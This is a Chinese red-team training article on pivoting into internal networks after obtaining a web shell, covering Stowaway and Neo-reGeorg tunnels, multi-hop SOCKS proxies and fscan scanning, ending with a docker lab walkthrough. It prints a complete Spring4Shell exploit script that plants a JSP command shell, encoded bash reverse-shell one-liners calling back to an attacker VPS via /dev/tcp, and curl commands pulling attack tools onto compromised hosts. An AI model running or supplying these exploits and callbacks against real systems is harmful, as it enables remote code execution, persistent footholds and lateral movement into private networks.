本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

本文来源:大白哥红队攻防演练课程(大白哥授课部分)

需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡

一、为什么需要做内网流量代理

  • 当红队人员拿到一个webshell后,想要访问内网应用,但是由于红队人员所处的局域网和目标机器所处的局域网不能互通,所以就需要搭建代理访问

二、代理方式

  • 针对代理的方式有两种:正向代理和反向代理,至于选择哪一种需要针对当前目标的网络环境分析(也就是取决于拿到webshell的那台机器是否出网)

  • 出网:正向和反向都可以,但是优先选择反向

  • 不出网:只能正向代理

正向代理

  • 用于隐藏客户端的真实IP地址,通过代理服务器代表客户端向目标服务器发送请求,并将服务器的响应返回给客户端。

  • 实际就是客户端主动向代理发送一个请求,然后代理向服务器请求并将获取的内容返回给客户端。

  • 在渗透测试中,攻击者在获得外网服务器的一定权限后,发现这台服务器可以直接或者间接的访问内网 ,此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许来自外网机器的访问的,此时可以将这台外网服务器设置成为代理,使得攻击机可以直接访问与操作内网中其他机器。

反向代理

  • 用于隐藏服务器的真实IP地址,通过代理服务器代表服务器接收客户端的请求,并根据请求将其转发给合适的服务器,最后将服务器的响应返回给客户端。

  • 反向代理与正向代理相反,一般是代理服务器主动将获取到的资源流量转发给客户端,让客户端接收。

  • 反向代理隐藏了真实的服务端,当用户访问www.baidu.com的时候,背后可能有成千上万台服务器为用户服务,但具体是哪一台,用户完全不知道,也不需要知道,只需要知道反向代理服务器是谁就好了。www.baidu.com就是反向代理服务器,反向代理服务器会帮用户把请求转发到提供真实服务的服务器那里去。

  • Nginx就是性能非常好的反向代理服务器,它可以用来做负载均衡。

案例

  • 正向代理案例:

  • 某用户希望访问一个被封锁的网站,但直接访问会被网络管理员拦截。用户可以使用正向代理服务器,将请求发送给代理服务器,由代理服务器代替用户访问被封锁的网站,并将获取的内容返回给用户。

  • 反向代理案例:

  • 某企业拥有多个Web服务器,为了提高访问效率和安全性,企业可以在公网部署一台反向代理服务器。客户端的请求首先到达反向代理服务器,反向代理服务器根据请求将其转发给合适的Web服务器,并将Web服务器的响应返回给客户端。这样,客户端就无需直接访问Web服务器,提高了访问的安全性和效率。

正向代理和反向代理的区别

  • 用途差异

  • 正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率;

  • 反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问;反向代理还可以为后端的多台服务器提供负载平衡,或为后端较慢的服务器提供缓冲服务。 另外,反向代理还可以启用高级 URL 策略和管理技术,从而使处于不同Web服务器系统的 web 页面同时存在于同一个URL空间下。

  • 安全差异

  • 正向代理允许客户端通过它访问任意网站并且隐藏客户端自身,因此必须采取安全措施以确保仅为经过授权的客户端提供服务;

  • 反向代理对外都是透明的,访问者并不知道自己访问的是一个代理。

三、判断是否出网

  • 在webshell中执行命令,ping域名或一个公网ip,也就是判断是否能够访问互联网

  • 能解析就是能访问互联网,跟域名是否有cdn无关

  • 如果禁ping,再用别的方法

四、查看内网网段并查看主机存活情况

  • 查看内网网段

ipconfig

  • 上传fscan,通过fcsan扫内网

  • fscan 1.8.4使用的是go 1.20.x编译,不支持win7、win2003、win2008

  • 解决办法:自己安装go<1.20.x版本,使用源码编译fscan

fscan.exe -h 10.10.10.0/24 -no -nopoc

-nopoc:禁用漏洞利用脚本

五、搭建反向代理

  • 当目标主机出网的情况下,即可以访问互联网,就可以采用socks5反向代理,访问目标主机所在的内网应用

  • 工具:Stowaway

  • 上传服务端到VPS,然后开启监听(此时处于等待连接状态)

chmod +x linux_x64_admin
./linux_x64_admin -l 5652 -s 243142

./linux_x64_admin -l 指定监听端口 -s 指定连接的密钥

  • 通过webshell将客户端上传到目标机器

  • 运行客户端向服务端发起连接

agent.exe -c 139.9.200.42:5652 -s 243142 --reconnect 10

agent.exe -c 服务端所在服务器的地址:服务端指定监听的端口 -s 服务端指定连接的密钥 --reconnect 如果连不上重新连接的次数

//由于在webshell中直接执行可能会卡死,所以可以使用以下命令放在后台运行
start /B agent.exe -c 139.9.200.42:5652 -s 243142 --reconnect 10 > NUL 2>&1

  • 客户端发起连接后,可以在服务端看到已经连接成功

  • 此时要在服务端上选择节点,设置为socks5代理

use 0    //根据node id填写
socks 7789 用户名 密码    //设置sock代理端口,用户名和密码可写可不写

  • 在攻击者物理机使用Proxifier添加代理服务器,填写相关信息

  • 新建代理规则,不要让默认规则走代理,只需要新建一个规则,通过路径指定常用的浏览器(火狐为例)走代理即可

  • 配置代理规则,由于我们只是需要访问内网的时候才需要走代理,所以可以设置访问常见内网段的流量才走代理

192.168.*.*
172.*.*.*
10.*.*.*

  • 应用代理规则后即可访问内网(反向代理成功)

  • 拓展,如果不知道在哪找到浏览器的路径,可以在任务管理器查看

  • 此时访问内网的中10.10.10.177(前面fscan收集到)这台主机的8888端口,发现访问成功

六、搭建正向代理

  • 在实战环境中会遇到一些web应用本身所在的服务器不出网 ( 无法访问互联网 ) , 这个时候就不能使用反向代理,而是需要搭建正向代理来访问目标内网应用

  • 工具:Neo-reGeorg

  • 设置密码生成,然后生成配置文件(tunnel.aspx|ashx|jsp|jspx|php)

//密钥设置为password
python neoreg.py generate -k password

  • 由于根据目标web应用的情况,此时将tunnel.jsp文件通过webshell上传到目标机器的web目录里

  • 此时在攻击者本地使用脚本链接代理脚本文件

python neoreg.py -k password -p 8099 -u http://43.156.91.188:8888/file/tunnel.jsp

-k password:参数指定一个密钥(与前面的保持一致),用于身份验证或加密通信。
-p 8099:指定本地监听的端口号。,用于接收来自远程服务器的连接或数据。
-u http://43.156.91.188:8089/file/tunnel.jsp:指定目标URL或远程服务器地址。

  • 在攻击者物理机使用Proxifier添加代理服务器,填写相关信息

  • 新建代理规则,不要让默认规则走代理,只需要新建一个规则,通过路径指定常用的浏览器(火狐为例)走代理即可

  • 配置代理规则,由于我们只是需要访问内网的时候才需要走代理,所以可以设置访问常见内网段的流量才走代理

192.168.*.*
172.*.*.*
10.*.*.*

  • 应用代理规则后即可访问内网(反向代理成功),成功访问内网资源

七、拓展工具

https://github.com/BeichenDream/Chunk-Proxy
https://github.com/howmp/reality

八、多级代理搭建

  • 通过反向代理,已经成功进入第一层内网(10.10.10.0/24),假设此时拿到内网另一台机器(一层内网机器)的一个shell,查看网卡,发现存在第二层内网(10.10.1.1/24)

  • 此时将Stowaway的客户端上传到一层内网机器

  • 在VPS上继续配置St的服务端

listen     //设置监听
1          //选择模式,此时agent将会以普通的方式监听在目标端口
7732       //设置监听端口

  • 在一层内网机器上运行St的客户端

agent.exe -c 10.10.10.171:7732 -s 243142 --reconnect 10

//注意:此时ip指定连接的是边界机器

  • 运行成功后可以在VPS上看见

  • 在VPS上进入子节点,设置子节点的socks代理

back     //返回主面板(不是退出,可以理解为将当前的事务放在后台运行)
detail   //查看连接节点的细节,此时可以看到二层内网主机代理的node id为1
use 1    //使用二层内网主机代理对应的node id
socks 6677     //设置socks代理端口

  • 在攻击者物理机使用Proxifier修改代理服务器相关信息

  • 新建代理规则

  • 应用代理规则后即可访问二层内网(代理成功),此时就可以访问二层内网的其它web应用

  • 如果还存在其他内网段,继续使用这种方法搭建多级代理即可

九、补充

  • 写代理规则的时候也可以让默认规则走代理

  • 这种情况下就是攻击者本机的全局流量都走代理

  • 此时可以在攻击者的本机使用各种探测工具(nmap、fscan)进行内网探测

十、综合案例

靶场搭建

  • spring4shell靶场环境,将下方内容写到docker-compose.yml文件

version: "3"
services:

    dmz-app:
      image: vulfocus/spring-core-rce-2022-03-29
      ports:
        - "58080:8080"
      networks:
        - dmz

    yunwei-app:
      image: vulfocus/spring-core-rce-2022-03-29
      networks:
        - dmz
        - yunwei
        - office

    office-app:
      image: vulfocus/spring-core-rce-2022-03-29
      networks:
        - office

networks:
     dmz:
       internal: false
     yunwei:
       internal: true
     office:
       internal: true
  • docker-compose.yml文件上传到自己的VPS,然后拉取环境

拉取:docker-compose up -d

关闭:docker-compose down
  • 拉取完以后,访问VPS的58080端口,如下图说明搭建成功

spring4shell RCE

  • 通过nday利用,写入恶意文件实现RCE

python spring4shell.py --url http://139.9.200.42:58080/

  • 利用脚本如下

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell666")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()
  • 通过脚本执行,发现能够执行命令

  • 此时通过RCE反弹shell

  • 先在VPS通过nc监听端口

nc -lvnp 6767

  • 然后执行反弹shell的命令(注意要base64和URL编码)

bash -c {echo,/bin/bash -i >& /dev/tcp/139.9.200.42/6767 0>&1}|{base64,-d}|{bash,-i}

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIwMC40Mi82NzY3IDA+JjE=}|{base64,-d}|{bash,-i}

bash+-c+%7becho%2cL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIwMC40Mi82NzY3IDA%2bJjE%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d

  • 查看内网网段

ip addr

  • 检测当前主机是否出网

ping www.baidu.com -c 4
  • 能通,说明出网

  • 上传fscan到目标

  • 在VPS上开启一个http服务

python3 -m http.server

  • 通过curl将VPS上的fscan下载到目标机器

curl http://139.9.200.42:8000/fscan -o /tmp/fscan

  • 通过fscan收集内网信息,发现内网有主机存在8080端口

cd /tmp
chmod +x fscan
./fscan -h 172.19.0.2/16 -nopoc -no

一层代理搭建

  • 将St的客户端通过curl下载到目标机器

curl http://139.9.200.42:8000/linux_x64_agent -o /tmp/agent

  • 在VPS启动服务端

./linux_x64_admin -l 5652 -s 243142

  • 在目标运行客户端

cd /tmp
chmod +x agent
./agent -c 139.9.200.42:5652 -s 243142 --reconnect 10

  • 连接成功后配置代理信息

use 0
socks 7789

  • 配置完成,在攻击者本地设置Proxifier的代理信息

  • 此时访问内网的172.19.0.3机器的8080端口,发现成功

一层内网主机RCE

  • 与前面的边界一样,先通过spring4shell利用脚本实现RCE

python spring4shell.py --url http://172.19.0.3:8080/

  • VPS上使用nc监听另一个端口(6868)

nc -lvnp 6868

  • 通过RCE反弹shell

bash -c {echo,/bin/bash -i >& /dev/tcp/139.9.200.42/6868 0>&1}|{base64,-d}|{bash,-i}

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIwMC40Mi82ODY4IDA+JjE=}|{base64,-d}|{bash,-i}

bash+-c+%7becho%2cL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIwMC40Mi82ODY4IDA%2bJjE%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d

  • 查看ip地址,发现其它内网网段

ip add

  • 通过curl上传fscan做信息收集

curl http://139.9.200.42:8000/fscan -o /tmp/fscan

./fscan -h 172.20.0.0/16 -nopoc -no

  • 通过curl上传St客户端到一层内网机器

curl http://139.9.200.42:8000/linux_x64_agent -o /tmp/agent

  • 在VPS上继续配置服务端

use 0
listen
1
7732

  • 执行客户端

chmod +x agent
./agent -c 172.19.0.2:7732 -s 243142 --reconnect 10

  • 在VPS配置sock代理

back
detail
use 1
socks 6677

  • 在攻击者本机配置Proxifier

  • 此时访问第二层内网中172.20.0.2机器的8080端口,成功访问